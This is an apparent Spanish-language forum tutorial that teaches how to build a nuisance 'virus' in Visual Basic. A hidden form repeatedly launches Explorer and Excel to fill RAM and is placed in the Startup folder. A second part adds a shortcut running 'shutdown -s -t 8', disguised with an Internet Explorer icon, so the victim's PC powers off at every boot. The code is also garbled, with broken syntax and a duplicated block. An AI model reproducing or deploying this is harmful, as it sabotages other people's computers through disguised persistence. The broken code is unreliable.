Muchos diran que es simple y torpe pero si lo que quieren es que una persona al iniciar su computadora no pueda trabajar esto les encantara
Primero abran el Visual Basic
Creen una apliacion .FORM
Agregenle una LABEL con el nombre
de "X" pero sin las comillas hagan el form.visible en false
Entren al codigo del form y escriban lo siguiente:
REMPLAZANDO LOS "-" POR ""
Dim a as integer
private sub form_load()
do
SHELL("C:-WINDOWS-Explorer.exe"
X.caption=a+1
SHELL("C:-WINDOWS-Explorer.exe"
X.caption=a+1
SHELL("C:-WINDOWS-Explorer.exe"
X.caption=a+1
SHELL("C:-Archivos de programa-Microsoft Office-Office12-EXCEL.exe"
X.caption=a+1
SHELL("C:-Archivos de programa-Microsoft Office-Office12-EXCEL.exe"
X.caption=a+1
SHELL("C:-Archivos de programa-Microsoft Office-Office12-EXCEL.exe"
loop until X.caption="20"
private sub form_load()
do
SHELL("C:-WINDOWS-Explorer.exe"
X.caption=a+1
SHELL("C:-WINDOWS-Explorer.exe"
X.caption=a+1
SHELL("C:-WINDOWS-Explorer.exe"
X.caption=a+1
SHELL("C:-Archivos de programa-Microsoft Office-Office12-EXCEL.exe"
X.caption=a+1
SHELL("C:-Archivos de programa-Microsoft Office-Office12-EXCEL.exe"
X.caption=a+1
SHELL("C:-Archivos de programa-Microsoft Office-Office12-EXCEL.exe"
loop until X.caption="20"
Con esto la pc no parara de ejecutar el explorer.exe y el EXCEL, igual lo pueden alterar para que ejecute otros programas
Ahora sigue la parte de la autoejecucion
Solo se trata de entrar en menu inicio-Todos los programas-Inicio y pulsar con el boton secundario para entrar a la opcion "Explorar", hay solo pegaremos un acceso directo a nuestro virus y listo compilar el virus y colocarlo en cualquier parte para luego sacarle el acceso directo, hacer lo que dice arriba y bum, cada vez que inicien el pc no podran trabajar porque el virus les llena la RAM
lo mismo se puede hacer para apagar el equipo apenas lo prenden:
primero creamos un acceso directo cualquiera y escribimos en su direccion: shutdown.exe -s -t 8, si esta en el escritorio[recomendable]le dan con el boton derecho para que les deje entrar a propiedades, pulsen en "Cambiar Icono" y denle uno de internet explorer. Luego muevanlo a "C:" y listo, llamenlo "INTERNET1"
En vb creamos un form (tambien con visible=false)y escribimos:
private sub form_load()
SHELL("C:INTERNET1.INK"
SHELL("C:INTERNET1.INK"
y listo, igual que el anterior compilenlo y ponganlo en una carpeta cualquiera para luego crearle un acceso directo en MENU INICIO-TODOS LOS PROGRAMAS-INICIO y lo pegan hay, asi cada vez que inicien el pc se les apagara